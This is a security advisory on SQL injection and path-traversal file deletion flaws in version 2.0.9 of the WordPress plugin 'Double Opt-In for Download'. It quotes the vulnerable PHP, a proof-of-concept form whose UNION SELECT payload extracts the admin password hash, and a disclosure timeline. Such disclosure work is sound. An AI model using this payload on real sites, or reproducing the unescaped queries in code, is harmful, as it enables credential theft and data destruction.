06-06-2016 / Vulnerabilities

Double Opt-In for Download 2.0.9 Sql Injection

$_POST[ 'id' ] is not escaped. populate_download_edit_form() is accessible for every registered user.

File: double-opt-in-for-download\public\class-doifd.php

add_action( 'wp_ajax_populate_download_edit_form', array( $this, 'populate_download_edit_form' ) );
public function populate_download_edit_form() {
    global $wpdb; // this is how you get access to the database
    if( isset( $_POST[ 'id' ] ) ) {
        $value = $_POST[ 'id' ];
        $download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
    }
    echo json_encode( $download );
    die(); // this is required to terminate immediately and return a proper response
}

$_REQUEST['id'] is not escaped.

File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php

 $ids = isset ( $_REQUEST['id'] ) ? $_REQUEST['id'] : array ( ) ;
if ( is_array ( $ids ) )
    $ids = implode ( ',' , $ids ) ;
if ( ! empty ( $ids ) ) {
    $wpdb->query ( "DELETE FROM $table_name WHERE doifd_download_id IN($ids)" ) ;
}

$_REQUEST['doifd_file_name'] is not used with basename() so we can delete every file using as filename ../../something.extension.

File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php

$file = isset ( $_REQUEST['doifd_file_name'] ) ? $_REQUEST['doifd_file_name'] : array ( ) ;
if ( is_array ( $file ) )
    $file = implode ( ',' , $file ) ;
$file = explode ( ',' , $file ) ;
foreach ( $file as $key=> $value ) {
    unlink ( DOIFD_DOWNLOAD_DIR . $value ) ;
}

Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form name="xss" action="http://wp/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
	<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
	<input type="submit" value="Send">
</form>

Timeline

  • 03-12-2015: Discovered
  • 03-12-2015: Vendor notified
  • 05-12-2015: Version 2.1.0 released, issue resolved